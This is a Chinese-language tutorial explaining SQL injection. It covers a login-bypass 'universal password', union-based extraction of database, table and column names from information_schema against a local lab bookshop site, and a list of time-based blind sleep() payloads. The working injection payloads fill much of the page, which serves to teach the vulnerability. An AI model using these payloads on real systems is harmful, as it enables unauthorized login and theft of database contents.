您好,登錄后才能下訂單哦!
這篇文章主要講解了“SQL注入的原理介紹”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“SQL注入的原理介紹”吧!
當Web應用向后臺數據庫傳遞SQL語句進行數據庫操作時。如果對用戶輸入的參數沒有經過嚴格的過濾處理,那么攻擊者就可以構造特殊的SQL語句,直接輸入數據庫進行執行,獲取或修改數據庫中的數據。
用戶能控制輸入的內容
web應用把用戶輸入的內容帶入到數據庫中執行
打開網站的登陸界面,我們沒有密碼是無法登陸的但是由于網站開發者在開發網站時沒有對登陸進行過濾,導致存在萬能密碼漏洞
輸入萬能密碼 root ‘ or 1 = 1#
點擊登陸,就會提示我們登陸成功!
看,我們已經登陸進來了!
登陸語句是這樣的:
SELECT * FROM admin WHERE Username=’root’ and Password =’pass’
查詢admi表里所有Username =我們輸入的Username 并且Password =我們輸入的Password的結果
只要結果不為空就為真,也就是登陸成功
我們輸入萬能密碼root ‘ or 1 = 1# 構造
SELECT * FROM admin WHERE Username=’root ‘ or 1 = 1#’and Password =’pass’
通過注釋符號#注釋掉and Password =’pass,在root’ or 1=1 的基礎上使結果為真成立。
SQL注入,從代碼角度來看:
分為數字型和字符型,又根據字符型和數字型可以外加()和字符型能使用雙引號和單引號
分為以下幾種:
1、selent * from users where id=1純數字
2、selent * from users where id=’1’只加單引號
3、selent * from users where id=”1”只加雙引號
4、selent * from users where (id=1)數字加括號
5、selent * from users where (id=’1’)數字加單引號
6、selent * from users where (id=”1”)數字加雙引號
如果寫的不夠清晰,我們可以用一張圖來解釋
打開搭建好的環境,點擊打開一個頁面來測試有沒有SQL注入
http://127.0.0.1/bookshop/show_pro.php
?id=55’ 出現問題,可能存在注入
http://127.0.0.1/bookshop/show_pro.php
?id=55’ %23 加%23后恢復正常,可以判斷為’1’注入
http://127.0.0.1/bookshop/show_pro.php
?id=55’ order by 1 %23 使用order by 1 2 3 4 進行測試,發現查詢的結果為12列,再這里我只顯示結尾截圖,方便后續使用union select
http://127.0.0.1/bookshop/show_pro.php
?id=55’ union select 1,2,3,4,5,6,7,8,9,10,11,12 %23 發現頁面不顯示union select的內容,嘗試使用limit或者是將前邊的內容改為空
http://127.0.0.1/bookshop/show_pro.php
?id=55’ union select 1,2,3 limit 1,1 %23
http://127.0.0.1/bookshop/show_pro.php
?id=55’ union select 1,2,3 %23 可以顯示union select后的內容,8是顯示結果的地方
http://127.0.0.1/bookshop/show_pro.php
?id=-55’union select 1,2,3,4,5,6,7,user(),9,10,11,12 %23 把8位改為user()和database()發現可以顯示用戶和數據庫
http://127.0.0.1/bookshop/show_pro.php
?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(schema_name) from information_schema.SCHEMATA),9,10,11,12 %23
查詢所有的庫名字
http://127.0.0.1/bookshop/show_pro.php
?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(table_name) from information_schema.TABLES where table_schema = ‘test’),9,10,11,12 %23
查詢出test庫中所有的表名
http://127.0.0.1/bookshop/show_pro.php
?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(column_name) from information_schema.COLUMNS where table_schema = ‘test’ and table_name = ‘admin’),9,10,11,12 %23 查詢處test庫中admin表所有的字段名字
http://127.0.0.1/bookshop/show_pro.php
?id=-55’union select 1,2,3,4,5,6,7,(select group_concat(news) from test.admin ),9,10,11,12 %23
查詢security庫中users表中的數據,由于這個表中沒有數據所以不會有顯示,但在真實環境中是會看到內容的
延時盲注會有以下幾種情況,暫不做演示
1’ and sleep(5) %23
1’) and sleep(5) %23
1’)) and sleep(5) %23
1 and sleep(5) %23
1) and sleep(5) %23
1)) and sleep(5) %23
1” and sleep(5) %23
1”) and sleep(5) %23
1”)) and sleep(5) %23
感謝各位的閱讀,以上就是“SQL注入的原理介紹”的內容了,經過本文的學習后,相信大家對SQL注入的原理介紹這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。